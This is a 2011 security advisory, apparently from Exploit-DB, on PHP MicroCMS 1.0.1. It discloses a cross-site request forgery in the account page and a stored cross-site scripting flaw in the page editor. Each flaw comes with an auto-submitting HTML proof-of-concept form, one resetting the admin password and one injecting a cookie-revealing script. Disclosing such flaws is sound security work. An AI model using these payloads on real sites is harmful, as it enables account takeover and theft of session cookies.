PHP MicroCMS 1.0.1 - Cross-Site Request Forgery / Cross-Site Scripting

EDB-ID:

15923

CVE:



Platform:

PHP

Published:

2011-01-06

Vulnerability ID: HTB22765
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_php_microcms.html
Product: PHP MicroCMS
Vendor: ApPHP ( http://www.apphp.com/ )
Vulnerable Version: 1.0.1 and probably prior versions
Vendor Notification: 21 December 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "index.php?admin=my_account" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability and change administrator password. The following PoC is available:

<form action="http://host/index.php?admin=my_account" method="post">
<input type="hidden" name="password_one" value="newpass">
<input type="hidden" name="password_two" value="newpass">
<input type="submit" id="btn" name="submit" value="Change Password">
</form>
<script>
document.getElementById('btn').click();
</script>

XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "index.php?admin=static_pages_edit&pk=home" script to properly sanitize user-supplied input in "page_text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?admin=static_pages_edit&pk=home" method="post" name="main">
<input type="hidden" name="pk" value="home">
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">
<input type="hidden" name="subSavePage" value="Save Changes">
</form>
<script>
document.main.submit();
</script>